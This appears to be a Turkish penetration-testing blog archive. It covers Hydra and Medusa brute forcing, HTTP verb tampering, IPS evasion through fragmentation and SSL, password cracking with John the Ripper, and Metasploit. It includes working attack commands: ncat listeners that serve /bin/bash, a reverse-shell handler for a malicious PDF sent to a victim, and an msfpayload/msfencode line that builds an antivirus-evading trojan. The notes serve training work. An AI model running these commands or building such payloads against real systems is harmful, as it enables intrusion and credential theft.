15 Eylül 2011 Perşembe

Form Authentication Brute Forcing w/Hydra

Hydra kullanarak POST talebi yapan bir kullanıcı girişi ekranına kaba kuvvet saldırılması için düzenlenmesi gereken parametreler:
# hydra
- l ya da -L: login (kullanıcı adı) bilgisi. -l ile tek bir kullanıcı adı verilirken, -L ile bir dosya verilir (loginWordList).
-p ya da -P: password bilgisi. -p ile tek bir parola verilirken, -P ile bir dosya verilir (passwordWordList).
-f: İlk başarılı denemede uygulamanın sonlanmasını sağlar (finish)
-t 10: Paralelde çalıştırılacak task sayısı. Ön tanımlı değer 16'dır, ön tanımlı kalmasında bir sakınca göremedim.
server: Hedef sunucu (192.168.4.158 gibi)
service: POST talepli bir form authentication için bu değer "http(s)-post-form"dur. Bu parametre, arkasından çift tırnak içinde ve iki nokta ile ayrılacak şekilde 3 parametre alır: "<URL>:<Form parametreleri>:<Başarısız denemede alınan mesaj parçası>". Form parametreleri, & ile ayrılır ve kullanıcı adının geleceği yere ^USER^ ve parolanın geleceği yere ^PASS^ karakter kümesi konur.

Örnek bir hydra komutu şu şekilde gerçekleşir:
hydra -L /pentest/passwords/john/user.lst -P /pentest/passwords/john/user.lst 192.168.4.158 http-post-form "/authentications/login:data%5BAuthentication%5D%5Busername%5D=^USER^&data%5BAuthentication%5D%5Bpassword%5D=^PASS^:recognized" -f

25 Ağustos 2011 Perşembe

HTTP Verb Tampering

HTTP Filleri Kurcalama
http://jeremiahgrossman.blogspot.com/2008/06/what-you-need-to-know-about-http-verb.html adresindeki Jeremiah Grossman'ın konu ile ilgili yazısı temel alınarak hazırlanmıştır:


  1. Bir web uygulamasının ne tür HTTP talepleri almayı umduğu manipülasyonu, GET talebini POST'a çevirmek ya da tersi gibi, yıllardır yapılagelen bir kurcalama. Web uygulamamız sadece gelmesini beklediğimiz taleplere izin vermeli, fazlasına değil. İlginç olan bu taleplerin ne zaman ve hangi amaçlarla kullanılabileceği.
  2. HTTP fiilleri kurcalama, genellikle söz dizimsel (SQLi, XSS gibi) ve anlamsal/semantik (kimlik doğrulama ya da yetkilendirme atlatma gibi) saldırılarla birlikte, defansif önlemleri atlama yöntemi olarak kullanılır. Arshan Dabirsiaghi'nin çalışması, anlamsal saldırılarla birlikte kullanmaya odaklanmıştır.
  3. Söz dizimsel saldırılarda HTTP filleri kurcalama, bir oturum nesnesinden kötü niyetli veriyi (DROP TABLE...) almada kullanılabilir. Mesela sorgu parametreleri ayıklanmıştır (sanitize / steril edilmiş); ama saldırgan parametreyi POST kullanarak POST parametresi olarak mesaj gövdesi içinde gönderebilir ve bu verinin sterilizasyonu da uygulama tarafından gözardı edilmiş olabilir. Bu durum SQLi, XSS vb teknik zafiyetlere neden olabilir.
  4. Söz dizimsel HTTP fiil kurcalamalarından korunmak için, kullanıcıdan sadece beklenen formatta ve beklenen parametre isimlerinde girdiler kabul edilmelidir. Saldırganın keyfi isim/değer çiftleri eklemesine izin verilmemelidir.
  5. Anlamsal ataklarda HTTP fiil kurcalama, özel HTTP filleri (GET gibi mesela) ve özel alanlar için var olan  yetki ve kimlik denetimi korumalarını atlatmak için kullanılabilir. Bir ayar, /admin/* dosyalarına yapılan GET taleplerinin admin oturum rolüne sahip olması gerektiğini söyleyebilir. Bu ayarda listelenmeyen bir metodun (POST ya da HEAD gibi) otomatik olarak reddedildiği (default-deny mode) varsayılmış olabilir; gerçekte böyle olmak zorunda değildir. HEAD metodu, GET gibi düşünülmelidir, tek fark, HEAD metoduna bir yanıt dönmez. Saldırgan, /admin/delete_user.cgi?id=1 talebini, HEAD metodu ile, yukarıdaki ayardaki eksiklik/hata nedeniyle gönderebilir. Her hangi bir yanıt dönmesine ihtiyacı yoktur saldırganın.
  6. Kişinin kendisini koruması için yapabileceği birkaç şey var. En doğrudan olan yol, tüm HTTP metodlarının / fiillerinin aksi tanımlanmadığı sürece default-deny modda olması.
  7. Söz dizimsel zafiyetlerin taranması mümkün, ancak zafiyetin sömürülebilmesi için birkaç talep gönderilmesi gerekliliği de her zaman olasıdır. Anlamsal zafiyetlerin taranması ise çok daha zordur ve çoğu zaman manüel tarama / çalışma gerekir. Tarayıcılar teknik olarak zafiyeti yakalayabilseler de bu tür zafiyetler temelde iş mantığı hatalarıdır; tarayıcılar bu testin çıktılarının neler olabileceğini bilemezler.

26 Temmuz 2011 Salı

Pentest in Practice - XI: Firewall/IPS Evasion

Firewall, IPS vb Atlatma

  • IPS'lerin çok başarılı olamamasının 2 nedeni:
    • Webden gelen saldırılar
    • Post-exploitation'da SSL üzerinden (socat, netcat, meterpreter) reverse-shell
  • Firewall, kural tablosuna (iptable) top-down bakar; bulduğu duruma uyan ilk kuralı çalıştırır ve tabloya bakmayı bırakır.
  • hackvertor.co.uk/public => Encoding ile ilgili akla gelen tüm yöntemlerin olduğu site.
  • Firewall var mı kontrolü:
    • Telnet ile bloklanacak bir talep (GET/POST) gönderilir. Mesela ../../../etc/passwd gibi
    • Sunucudan cevap dönmemesi (Connection closed by foreign host benzeri bir kesilme) durumunda web sunucuya ulaşmadan istek engelleniyor demektir.
    • Talebe sunucudan yanıt (response, 404 not found vb) dönmesi, isteğin sunucuya kadar ulaştığını, bir cihaz tarafından kesilmediğini / engellenmediğini gösterir.
    • Bu kontrolü yaparken telnet kullanmakta fayda var. Doğrudan browser üzerinden yapılacak denemelerde browserlar girilen URL üzerinde gerekli düzenleme yaparak (mesela /etc/./passwd gibi girilecek deneme stringini /etc/passwd olarak düzenleyip göndermek gibi) gönderebilir; istediğimiz kalıbı deneyememiş oluruz.
  • Atlatma Yöntemi: Packet Fragmentation.
    • IP fragmentation'ı kullanabilmek için "rp_filter" disable edilir.
      • $ echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter; ya da
      • $ echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter
    • Daha sonra fragmentation:
      • $ fragroute -f /usr/local/etc/fragroute.conf 95.173.123.112
    • Sonra telnet ile talep gönderilir. IPS doğru yapılandırılmadıysa sonuç sunucudan gelecektir; IPS'i atlattık demektir.
  • Atlatma Yöntemi: Encoding
  • Atlatma Yöntemi: SSL Kullanımı
    • telnet akbank.com 80 yerine
    • ncat --ssl akbank.com 443 kullanmak.
    • Layer-7 IPS ile SSL el sıkışma işi IPS tarafından yapılmadığı sürece SSL ile gönderilen taleplerin içeriğini IPS göremeyecek ve dolayısıyla talepler üzerinde kuralları işletemeyecektir.
  • Yanıtın IPS'ten mi, web/uygulama sunucudan mı döndüğü kontrolü:
    •  Normal bir talep gönderilir; TTL değeri tespit edilir (WireShark vb kullanılabilir)
    • IPS tarafından engellenecek bir talep gönderilir; TTL değeri tespit edilir
    • İkisi karşılaştırılır. Sunucu TTL'i 256'dan, IPS 128'den düşüyor olabilir mesela, TTL değerleri oldukça farklı olacaktır bu gibi durumlarda.
  • LoadBalancer varlığı kontrolü:
    • Resimvb içerik, varsa loadbalancer cihaz üzerinden servis edilir. Sunucu ile LoadBalancer cihazların TTL politikaları farklıysa yanıtı kimin döndüğünü yorumlayabiliriz.
    • LoadBalancer atlatma yöntemi: Search. LoadBalancer buna birşey yapamaz. Eş zamanlı birçok arama gönderildiğini düşün.

Pentest in Practice - X: Social Engineering

Sosyal Mühendislik

  • www.social-engineer.org => Social engineering toolkit
  • set (Social Engineering Toolkit)
    • BackTrack5'te kurulu geliyor => /pentest/exploits/set
    • set-update => Sık güncellendiğinden kullanmadan önce bunu yapmakta fayda var.
    • ./set => console UI; ./set-web => graphical UI
    • # use /exploit/multi/handler

25 Temmuz 2011 Pazartesi

Pentest in Practice - IX: Pratik Bilgiler

  • # ncat -l 1900 --keep-open --send-only --ssh-exe /bin/bash &
  • Bir linux sisteme girildikten sonra yapılacak araştırmalar:
    • 777 izinli dosyalara bakılır
    • .***_history (.bash_history gibi) dosyalarına bakılır
    • -netstat -rn (routing table)
    • /sbin/arp -an => network taraması
  • ssh -l <user> 95.173.123.112 -p <port|22>
  • FTP port açıksa:
    • Hemen anonymous ftp açık olup olmadığına bakılır.
    • En çok kullanılan ftp user/pwd çiftleri ile brute force denemeleri yapılır.
    • İyi bir pwd list olarak backtrack içindeki /pentest/passwords/john/password.lst kullanılabilir.
    • medusa ile ftp brute force => # medusa -M ftp -h <URL> -U <user-list> -P <pwd-list>
  • Nessus'un raporladığı açıklıklarla ilgili önce google'da "jboss metasploit" tarzı bir arama yap.
  • Karşı tarafta bir bind_tcp shell açtığımızı düşünelim. 
    • Eğer varsa nc (netcat) ile bir portu dinlemeye açıp oraya bağlanabiliriz.
    • Yoksa, ncat, ftp, tftp vs "ne açık?" taraması yapalım.
    • ncat -l 6666 --keep-open --udp --send_only --ssh.exe /bin/bash &

Pentest in Practice - VIII: Password Cracking

Password Cracking

  • www.skullsecurity.org => Sözlükler
  • Crunch => wordlist generator
  • Rainbow table'lar ile ilgili google'da "hash calculator" ve "hash cracker" kavramları aratılabilir.
  • John The Ripper (Kısaca John ya da JTR) => Linux makinelerin şifrelerini kırmak için tek kullanışlı seçenek. Bir başka örnek: hashcat. (JTR'i tercih ediyoruz)
  • Cain & Abel
    • Dinlenen trafikte yakaladığın password hash'lerini kır diyebiliyoruz. Salt kullanan durumlar desteklenmiyor.
  • http://md5.rednoize.com/ => md5'i google üzerinden forumlarda arıyor.
  • /etc/shadow ya da /etc/master.passwd
  • SALT: 
    • Tuzlanmış değer, tuzu bilmeden bir işe yaramaz.
    • Tuzlanmış değerler için hazır rainbow table'lar işe yaramaz; o tuz değeri için hazırlanmış tablolar gerekir.
    • $1$ => md5
    • $6$ => sha512
  • John The Ripper
    • Dağıtık yapıda çalıştırılabiliyor.
    • Öntanımlı ayarlarla önce yaklaşık 3000'lik bir password listesi tarıyor; daha sonra username'e göre üretilen şifreler denemeye başlıyor; "root" kullanıcısı için "Root123" şifresi gibi.
    • En basit kullanımı: "# john <dosya-adı>"
    • Wordlist ile kullanım: "# john -w:</path/ve/dosya-adı>"
    • JTR'nin yapacağı brute force denemeleri için min ve max şifre uzunluklarını john.conf dosyası içinden belirleyebiliriz.
    • JTR ile sadece rakam denemeleri: "# john -i:digits <dosya-adı>"
    • JTR uygulamasının ticari versiyonu mevcut. O versiyonda dağıtık olarak brute force denemeleri yönetilebiliyor.
Active Online Password Cracking

  • Medusa, Hydra, Brutus
  • Medusa
    • Güncel + modül desteği var.
    • # medusa -d <modül>
    • # medusa -M mssql -q ...
    • Diğer sık kullanılan medusa parametreleri:
      • -h <URL>
      • -H <dosya-adı>
      • -u <kullanıcı-adı>
      • -U <kullanıcı-adı-dosyası>
      • -p <şifre>
      • -P <şifre-dosyası>
    • Örnek: SSH => # medusa -M ssh -m BANNER:SSH-2.0-FOOBAR -h 192.168.200.41 -u root -P /pentest/pwd/p.lst -f
    • Örnek: Basic Authentication => # medusa -h <host> -DIR:/path/
  • DEPANT: Yerel ağda password brute force için sadece bu yeterli.

Pentest in Practice - VII: Metasploit

Metasploit

  • Exploit araştırma => Security Focus
  • Metasploit'taki Payload: Exploit sonrası çalıştırılacak içerik.
  • Payload içeriğinin anlaşılmaması için "encoder".
  • Auxiliary: Exploit etmede yardımcı araçlar.
  • Metasploit kullanırken sıkça kullanılan komutlar:
    • > help
    • > search <ms08_067>
    • > search <tomcat>
    • > show
    • > show exploits
    • > use <exploit-adı>
    • > info <exploit-adı> (ya da exploit içindeyken sadece info yazmak yeterli)
    • > back
    • > show payloads => Exploit seçildikten sonra kullanılırsa sadece o exploit ile kullanılabilecek payload'lar listelenir.
    • > set payload <payload-adı>
    • > show options => Set edilmesi gereken parametreleri gösterir. Ayrıca hangi payload'un seçili olduğunu ve o payload'un parametrelerini gösterir.
    • > set RHOST <ip-addr> => Bir option (parametre) set etme örneği
    • > check => Tüm değer atamalar da tamamlandıktan sonra exploit çalışıp çalışmadığı testi.
    • > exploit => Run!
  • borwser-autopwn => Tüm browser açıklıklarını barındıran bir sayfa hazırlar, bağlanan istemci browser'ı üzerinde exploit'ları tek tek dener.
  • Sık kullanılan bazı meterpreter komutları:
    • meterpreter> getsystem
    • meterpreter> getuid
    • meterpreter> execute -f "cmd.exe"
    • meterpreter> execute -f "cmd.exe" -i
    • meterpreter> exit
  • Senaryo: Reverse shell açan bir payload barındıran PDF dosyası oluşturarak kurbana gönderdik. Sonra dinleme moduna geçiyoruz:
    • > use exploit/multi/handler
    • > set payload windows/meterpreter/reverse_tcp
    • > set LHOST <ip>
    • > set LPORT <port>
    • > exploit
  • msfpayload => Trojan vb payload oluşturma.
  • metsvc => Meterpreter payload'unu makinede servis olarak çalıştırır.
  • msfencode => Payload'u encode ederek binary dosyaya gömer. Antivirüs programlarının işini zorlaştırmaktır amaç.
  • msfpayload ve msfencode birlikte kullanımı:
    • msfpayload /windows/meterpreter/bind_tcp LPORT=443 | msfencode -e x86/shikata_ga_hai -i 5 > ajanX.exe

Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....